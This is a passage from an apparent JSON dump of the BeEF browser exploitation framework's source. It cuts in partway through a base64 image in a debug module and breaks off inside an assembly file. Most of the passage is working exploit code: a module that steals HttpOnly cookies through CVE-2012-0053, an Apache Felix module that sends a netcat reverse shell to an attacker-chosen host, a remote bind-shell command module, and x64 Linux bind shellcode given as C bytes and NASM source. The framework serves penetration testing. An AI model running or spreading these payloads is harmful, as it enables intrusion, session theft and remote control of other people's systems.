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\");\n\n});\n\n"
  },
  {
    "path": "modules/debug/test_return_image/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_return_image:\n            enable: true\n            category: \"Debug\"\n            name: \"Return Image\"\n            description: \"This module will test returning a PNG image as a base64 encoded string. The image should be rendered in the BeEF web interface.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/debug/test_return_image/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_return_image < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['image'] = @datastore['image']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_return_long_string/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var repeat_value = \"<%= @repeat_string %>\";\n    var iterations = <%= @repeat %>;\n    var str = \"\";\n\n    for (var i = 0; i < iterations; i++) {\n        str += repeat_value;\n    }\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, str, beef.are.status_success());\n    //return [beef.are.status_success(), str];\n    test_return_long_string_mod_output = [beef.are.status_unknown(), str];\n});\n\n"
  },
  {
    "path": "modules/debug/test_return_long_string/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_return_long_string:\n            enable: true\n            category: \"Debug\"\n            name: \"Test Returning Results\"\n            description: \"This module will return a string of the specified length.\"\n            authors: [\"wade\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/debug/test_return_long_string/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_return_long_string < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'repeat', 'description' => 'Times to repeat', 'ui_label' => 'Times to repeat', 'value' => '1024' },\n      { 'name' => 'repeat_string', 'description' => 'Strings to repeat', 'ui_label' => 'String to repeat', 'value' => '\\u00AE' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result String'] = @datastore['result_string']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/exploits/apache_cookie_disclosure/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08\n\nbeef.execute(function() {\n\n\tfunction setCookies (good) {\n\n\t\tvar str = \"\";\n\t\t\n\t\tfor (var i=0; i< 819; i++) {\n\t\t\tstr += \"z\";\n\t\t}\n\t\t\n\t\tfor (i = 0; i < 10; i++) {\n\t\t\t\n\t\t\tif (good) {\t\t// Expire evil cookie\n\t\t\t\tvar cookie = \"beef\" + i + \"=;expires=\" + new Date(+new Date()-1).toUTCString() + \"; path=/;\";\n\t\t\t} else {\t\t// Set evil cookie\n\t\t\t\tvar cookie = \"beef\" + i + \"=\" + str + \"; path=/\";\n\t\t\t}\n\t\tdocument.cookie = cookie;\n\t\t}\n\t}\n\n\tfunction makeRequest() {\n\t\tsetCookies();\n\n\t\tfunction parseCookies () {\n\t\t\tvar cookie_dict = {};\n\t\t\t\n\t\t\t// React on 400 status\n\t\t\tif (xhr.readyState === 4 && xhr.status === 400) {\n\t\t\t\t\n\t\t\t\t// Replace newlines and match <pre> content\n\t\t\t\tvar content = xhr.responseText.replace(/\\r|\\n/g,'').match(/<pre>(.+)<\\/pre>/);\n\t\t\t\t\n\t\t\t\tif (content.length) {\n\t\t\t\t\t\n\t\t\t\t\t// Remove \"Cookie:\" prefix\n\t\t\t\t\tcontent = content[1].replace(\"Cookie: \", \"\");\n\t\t\t\t\t\n\t\t\t\t\tvar cookies = content.replace(/beef\\d=z+;?/g, '').split(/;/g);\n\t\t\t\t\t\n\t\t\t\t\t// Add cookies to object\n\t\t\t\t\tfor (var i=0; i<cookies.length; i++) {\n\t\t\t\t\t\tvar s_c = cookies[i].split('=',2);\n\t\t\t\t\t\tcookie_dict[s_c[0]] = s_c[1];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Unset malicious cookies\n\t\t\t\tsetCookies(true);\n\t\n\t\t\t\tvar result = JSON.stringify(cookie_dict);\n\t\n\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"cookies=\"+result);\n\t\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Make XHR request\n\t\tvar xhr = new XMLHttpRequest();\n\t\txhr.onreadystatechange = parseCookies;\n\t\txhr.open(\"GET\", \"/\", true);\n\t\txhr.send(null);\n\t}\n\n\tmakeRequest();\n\n});"
  },
  {
    "path": "modules/exploits/apache_cookie_disclosure/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        apache_cookies:\n            enable: true\n            category: \"Exploits\"\n            name: \"Apache Cookie Disclosure\"\n            description: \"This module exploits CVE-2012-0053 in order to read the victim's cookies, even if issued with the HttpOnly attribute. The exploit only works if the target server is running Apache HTTP Server 2.2.0 through 2.2.21.\"\n            authors: [\"gcattani\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/apache_cookie_disclosure/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Apache_cookies < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['apache_cookies'] = @datastore['apache_cookies']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/exploits/apache_felix_remote_shell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var payload_name = 'reverse_netcat';\n  var timeout = 15;\n  var peer = rhost + ':' + rport;\n\n  cleanup = function() {\n    try {\n      document.body.removeChild(felix_exec_iframe_<%= @command_id %>);\n    } catch(e) {\n      beef.debug(\"Could not remove iframe: \" + e.message);\n    }\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n  payload = function() {\n    var whitespace = '';\n    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';\n    var payload = '';\n    switch (payload_name) {\n      default: // \"reverse_netcat\":\n        payload = 'exec \"/bin/nc ' + lhost + ' ' + lport + ' -e /bin/sh\" ';\n        payload = payload.replace(/ /g, whitespace);\n        break;\n    }\n    return payload\n  }\n\n  exploit = function() {\n    var code = payload();\n    beef.debug(peer + \" - Sending payload (\" + code.length + \" bytes)\");\n    var felix_exec_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/\", code);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n  }\n\n  try {\n    exploit();\n  } catch(e) {\n    beef.debug(peer + \" - Exploit failed: \" + e.message);\n  }\n\n});\n"
  },
  {
    "path": "modules/exploits/apache_felix_remote_shell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        apache_felix_remote_shell:\n            enable: true\n            category: \"Exploits\"\n            name: \"Apache Felix Remote Shell (Reverse Shell)\"\n            description: \"This module attempts to get a reverse shell on an Apache Felix Remote Shell server using the 'exec' command. The org.eclipse.osgi and org.eclipse.equinox.console bundles must be installed and active.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/apache_felix_remote_shell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Apache_felix_remote_shell < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '6666' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/beef_bind_shell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function () {\n    var rhost = '<%= @rhost %>';\n    var rport = '<%= @rport %>';\n    var path = '<%= @path %>';\n    var cmd = '<%= @cmd %>';\n    var shellcode ='<%= @shellcode %>';\n\n    var uri = \"http://\" + rhost + \":\" + rport + path;\n\n    strip_output = function(output){\n\n        var offset = 0;\n        for(var c in output){\n            c = output.charAt(c);\n            if(c.charCodeAt(0) == 0){\n                break;\n            }\n            offset++;\n        }\n        return output.substring(0,offset);\n    };\n\n    var counter = 0;\n    get_additional_cmd_results = function(){\n        xhr = new XMLHttpRequest();\n        xhr.onreadystatechange = function(){\n            if(xhr.readyState == 4){\n                var result = strip_output(xhr.responseText);\n                beef.debug(\"result.length: \" + result.length);\n                if(result.length != 0){\n                    beef.debug(\"get_additional_cmd_results - readyState == 4: request [\" + counter + \"]\\r\\n\" + result);\n                    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, result);\n                        counter++;\n                        setTimeout(\"get_additional_cmd_results()\",500);\n                        }\n             }else{ // No more command results, ready to send another command.\n                beef.debug(\"get_additional_cmd_results - readyState != 4: request [\" + counter + \"]\");\n            }\n        };\n        xhr.open(\"GET\", uri, false);\n        xhr.send(null);\n    };\n\n    get_prompt = function () {\n\n        xhr = new XMLHttpRequest();\n        xhr.onreadystatechange = function(){\n            if(xhr.readyState == 4){\n                beef.debug(\"get_prompt: Retrieved prompt\");\n                var prompt = strip_output(xhr.responseText);\n                beef.debug(prompt);\n                beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, prompt);\n\n                //send command\n                send_command(cmd);\n            }\n        };\n        xhr.open(\"GET\", uri, false);\n        xhr.send(null);\n    };\n\n    send_command = function(command){\n        xhr = new XMLHttpRequest();\n        xhr.onreadystatechange = function(){\n            var cmd_result = strip_output(xhr.responseText);\n            beef.debug(cmd_result);\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, cmd_result);\n        };\n        xhr.open(\"POST\", uri, false);\n        xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n\tif (shellcode == 'Linux'){\n            command = \"cmd=\" + command + \"\\n\"; // very important only LF\n        }else{\n            command = \"cmd=\" + command + \"\\r\\n\"; // very important CRLF, otherwise the shellcode returns \"More?\"\n        }\n        xhr.send(command);\n        setTimeout(\"get_additional_cmd_results()\",500);\n    };\n\n\n\nget_prompt();\n\n});\n\n"
  },
  {
    "path": "modules/exploits/beefbind/beef_bind_shell/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        BeEF_bind_shell:\n            enable: true\n            category: [\"Exploits\", \"BeEF_bind\"]\n            name: \"BeEF bind shell\"\n            description: \"Send commands to be executed on the already deployed BeEF_bind shellcode, and get results back.\"\n            authors: [\"antisnatchor\", \"tymiller\"] # shellcode awesomeness -> Ty Miller\n            target:\n                working: [\"FF\", \"C\", \"S\"]\n"
  },
  {
    "path": "modules/exploits/beefbind/beef_bind_shell/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Beef_bind_shell < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444' },\n      { 'name' => 'path', 'ui_label' => 'Path', 'value' => '/' },\n      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname' },\n      { 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore',\n        'store_fields' => ['shellcode'], 'store_data' => [['Windows'], ['Linux']],\n        'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c",
    "content": "/**\n Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n Browser Exploitation Framework (BeEF) - https://beefproject.com\n See the file 'doc/COPYING' for copying permission\n \n The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:\n #gcc -fno-stack-protector -z execstack -o socket64 socket64.c\n**/\n\n#include <stdio.h>\n#include <sys/mman.h>\n#include <string.h>\n#include <stdlib.h>\n\nint (*sc)();\n\nchar shellcode[] = \"\\xfc\\x48\\x31\\xd2\\x6a\\x01\\x5e\\x6a\\x02\\x5f\\x6a\\x29\\x58\\x0f\\x05\\x48\\x89\\xc3\\x6a\\x01\\x49\\x89\\xe2\\x6a\\x08\\x41\\x58\\x6a\\x02\\x5a\\x6a\\x01\\x5e\\x48\\x89\\xdf\\x6a\\x36\\x58\\x0f\\x05\\x48\\x31\\xc0\\x6a\\x10\\x5a\\x50\\x50\\xc7\\x04\\x24\\x02\\x00\\x11\\x5c\\x48\\x89\\xe6\\x48\\x89\\xdf\\x6a\\x31\\x58\\x0f\\x05\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x32\\x58\\x0f\\x05\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x2b\\x58\\x0f\\x05\\x49\\x89\\xc7\\x48\\x89\\xdf\\x6a\\x03\\x58\\x0f\\x05\\x48\\x31\\xff\\x68\\x00\\x10\\x00\\x00\\x5e\\x6a\\x07\\x5a\\x6a\\x22\\x41\\x5a\\x57\\x57\\x41\\x59\\x41\\x58\\x6a\\x09\\x58\\x0f\\x05\\x49\\x89\\xc6\\x4c\\x89\\xff\\x4c\\x89\\xf6\\x66\\xba\\x00\\x10\\x6a\\x00\\x58\\x0f\\x05\\x4c\\x89\\xff\\x6a\\x03\\x58\\x0f\\x05\\x4c\\x89\\xf6\\x81\\x3e\\x63\\x6d\\x64\\x3d\\x74\\x05\\x48\\xff\\xc6\\xeb\\xf3\\x6a\\x04\\x58\\x48\\x01\\xc6\\xff\\xe6\";\n\nint main(int argc, char **argv) {\n   char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);\n   if (ptr == MAP_FAILED) {perror(\"mmap\");exit(-1);}\n   memcpy(ptr, shellcode, sizeof(shellcode));\n   sc = (int(*)())ptr;\n   (void)((void(*)())ptr)();\n   printf(\"\\n\");\n   return 0;\n}\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm",
    "content": "BITS 64\n\nSECTION .text\nglobal _start\n_start:\n\tcld ;clear direction flag\n\txor rdx,rdx ;zero rdx\n\n\tpush BYTE 0x02\n\tpop r14\n\n\t;create two pipes\ncreatepipes:\n\tpush rdx ;allocate space on the stack\n\tmov rdi, rsp ;point to the stack\n\tpush BYTE 0x16 \n\tpop rax ;sys_pipe\n\tsyscall\n\tdec r14\n\ttest r14, r14 ;create 2 pipes \n\tje endcreatepipes\n\tjmp createpipes\n\nendcreatepipes:\n\t;sys_fork\n\tpush BYTE 0x39\n\tpop rax\n\tsyscall\n\tcmp eax, 0x00 ;parent or child?\n\tje child\n\n\txor rdi, rdi ; zero rdi\n\tmov edi, DWORD [rsp+0x8] ; close read end of one pipe\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\tmov edi, DWORD [rsp+0x4] ;close write end of the other pipe\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\t;make non-blocking\n\tmov edi, DWORD [rsp] ;fd\n\tpush BYTE 0x04\n\tpop rsi ;F_SETFL\n\txor rdx, rdx\n\tmov rdx, 0x800 ;O_NONBLOCK\n\tpush BYTE 0x48\n\tpop rax ; sys_fcntl\n\tsyscall\t\n\n\n\t;allocate one page of memory\n\txor rdi,rdi ;system determines location\n\tpush 0x1000 ;allocated size\n\tpop rsi\n\tpush BYTE 0x07\n\tpop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC\n\tpush BYTE 0x22\n\tpop r10 ; MAP_ANONYMOUS | MAP_PRIVATE\n\tpush rdi\n\tpush rdi\n\tpop r9 ;offset\n\tpop r8 ;fd\n\tpush BYTE 0x09\n\tpop rax\n\tsyscall\n\tmov r14, rax ;save pointer allocated memory for later use\n\ndoforever:\n\t;initialize socket\n\txor rdx, rdx ;zero rdx (proto =0)\n\tpush BYTE 0x01\n\tpop rsi ;SOCK_STREAM\n\tpush BYTE 0x02\n\tpop rdi ;AF_INET = 2\n\tpush BYTE 0x29\n\tpop rax ;sys_socket\n\tsyscall\n\tmov rbx, rax ; save socket filediscriptor\n\n\t;reuse socket\n\tpush 0x01  ;true\n\tmov r10, rsp ;ptr to optval\n\tpush BYTE 0x08\n\tpop r8 ;sizeof socklen_t\n\tpush BYTE 0x02\n\tpop rdx  ;SO_REUSEADDR = 2\n\tpush BYTE 0x01\n\tpop rsi ;SOL_SOCKET = 1\t\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x36 ;sys_setsockopt\n\tpop rax\n\tsyscall\n\n\tpop rax ;clean stack\n\n\n\t;bind socket to port\n\txor rax,rax\n\tpush BYTE 0x10\n\tpop rdx ;addrlen\n\tpush rax\n\tpush rax\n\tmov DWORD [rsp], 0x5C110002 ;PORT 0x115c = 4444\n\tmov rsi, rsp ;ptr to sokaddr\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x31\n\tpop rax ;sys_bind\n\tsyscall\n\n\tpop rax ;clean stack\n\tpop rax\n\n\t;listen \n\txor rsi, rsi ;backlog ptr = NULL\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x32\n\tpop rax ;sys_listen\n\tsyscall\n\n\t;accept\n\txor rdx,rdx ;addrlen ptr = NULL\n\txor rsi,rsi ;sockaddr ptr = NULL\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x2b\n\tpop rax ;sys_accept\n\tsyscall\n\n\tmov r15, rax ;save client socket fd for later use\n\n\t;close serversocket\n\tmov rdi, rbx ;close server socket fd\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall \n\n\n\tmov rcx, 0x1000 ;pagesize\nfirstzeromemory:\n\t;zero out memory\n\tdec rcx\n\tmov rbx, r14\n\tadd rbx, rcx\n\tmov BYTE [rbx], 0x00\n\tjrcxz readfromsocket\n\tjmp firstzeromemory \t\n\nreadfromsocket:\n\txor rdx, rdx\n\n\t;read into allocated memory\n\tmov rdi, r15 ;client socketfd\n\tmov rsi, r14 ;ptr to allocated memory\n\tmov dx, 0x400 ;read 1024 bytes\n\tpush BYTE 0x00\n\tpop rax ;sys_read\n\tsyscall\n\n\tmov rcx, 0x400 ;search in 1024 bytes \n\tmov rbx, r14 ;ptr to allocated memory\nsearch:\n\tcmp DWORD[rbx], 0x3d646d63 ;compare with \"cmd=\"\n\tje found ;cmd= found\n\tinc rbx\n\tdec rcx\n\tjrcxz notfound ;cmd= not in received buffer\n\tjmp search ;search some more\nfound:\n\txor rdi, rdi\n\tmov rcx, rbx \n\tadd rcx, 0x03 ;skip \"cmd\"\n\tmov rsi, rcx\n\tmov edi, DWORD [rsp+0xC] ;write to pipe\nsendcommand:\n\tinc rsi ;first time skip \"=\", move to next byte\n\tpush BYTE 0x01\n\tpop rdx ;write one byte\n\tpush BYTE 0x01\n\tpop rax ;sys_write\n\tsyscall\n\tcmp BYTE [rsi], 0x0a ;LF character?\n\tjne sendcommand ;else continue write to pipe\n\n\t;sleep one second\n\tpush BYTE 0x23\n\tpop rax ;sys_nanosleep\n\tpush DWORD 0x00\n\tpush DWORD 0x01 ;one second\n\tmov rdi, rsp ;ptr to argument array\n\txor rsi, rsi ;NULL\n\tsyscall\n\n\tpop rax ;clean stack\n\tpop rax\n\nnotfound:\n\tcall writehttpheaders\n\tdb 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a\n\tdb 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a\n\tdb 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a\n\tdb 